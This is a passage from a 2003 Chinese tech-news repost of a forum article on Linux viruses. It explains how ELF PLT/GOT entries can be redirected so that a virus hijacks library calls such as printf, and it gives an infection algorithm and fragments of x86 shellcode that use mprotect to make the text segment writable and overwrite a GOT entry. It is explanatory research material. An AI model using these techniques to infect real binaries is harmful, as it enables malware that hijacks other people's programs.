天极传媒:
天极网
比特网
IT专家网
52PK游戏网
极客修
全国分站

北京上海广州深港南京福建沈阳成都杭州西安长春重庆大庆合肥惠州青岛郑州泰州厦门淄博天津无锡哈尔滨

产品
  • 网页
  • 产品
  • 图片
  • 报价
  • 下载
全高清投影机 净化器 4K电视曲面电视小家电滚筒洗衣机
您现在的位置: 天极网>新闻>

Linux系统下病毒的研究

天极论坛 2003-09-09 17:04 我要吐槽
  下列代码来自ELF规范:

  .PLT1:jmp *name1_in_GOT
  pushl $offset
  jmp .PLT0@PC

  从这段代码中可以得到一些重要的信息。这是一个例程调用,而不是库调用。进程初始化之后,name1_in_GOT指向后面的push1指令。offset代表一个重定位偏移值(参见ELF规范),它包含一个符号引用,这个符号表示这个库调用,使后面的jmp指令能够跳转到动态连接器。为了避免下次调用这个共享库例程时重复这个流程,动态连接器接着会修改name1_in_GOT,让其直接指向这个例程,这样就能够节约再次调用的时间。

  上面的叙述总结了PLT在搜索库调用时的重要性。因此,我们可以修改name_in_GOT使其指向我们自己的代码,取代原先库调用,实现病毒的传染。如果在取代之前,我们保存GOT的状态,那么还能够重新调用原来的库调用,而且可以实现任意库调用的重定向。

  3、感染ELF文件

  为了实现库调用的重定向,需要在可执行目标文件中加入新的代码。本文我们将不涉及这方面的问题,这在http://www.big.net.au/~silvio已经有专门的文章论述。

  4、PLT重定向

  入口点的算法如下:

  把正文段标记为可写

  保存PLT(GOT)入口

  使用新的库调用地址代替PLT(GOT)入口

  新的库调用算法如下:

  实现新的库调用的功能

  保存原来的PLT(GOT)入口

  调用库调用

  再次保存PLT(GOT),如果它被修改了的

  使用新的库调用的地址代替PLT(GOT)入口

  为了更清楚地解释PLT重定向是如何工作的,我们在此解析一段简单的代码。在这段代码中被重定向的是printf,新的代码是在printf输出一个字符串之前,打印一条消息。

  好吧,现在开始:

  首先保存寄存器

  "x60" /* pusha */

  把正文段标记为rwx。因为正文段通常是不可写的,所以为了能够修改PLT,我们需要把它改为可写的,通过mprotect系统调用。

  "xb8x7dx00x00x00" /* movl $125,%eax */
  "xbbx00x80x04x08" /* movl $text_start,%ebx */
  "xb9x00x40x00x00" /* movl $0x4000,%ecx */
  "xbax07x00x00x00" /* movl $7,%edx */
  "xcdx80" /* int $0x80 */

  保存旧的库调用的PLT(GOT)引用,使用新的库调用地址代替:

  "xa1x00x00x00x00" /* movl plt,%eax */
  "xa3x00x00x00x00" /* movl %eax,oldcall */
  "xc7x05x00x90x04" /* movl $newcall,plt */
  "x08x00x00x00x00"

  恢复寄存器

  "x61" /* popa */

作者:责任编辑:)
请关注天极网天极新媒体 最酷科技资讯
扫码赢大奖
评论
* 网友发言均非本站立场,本站不在评论栏推荐任何网店、经销商,谨防上当受骗!
笔记本手机数码家电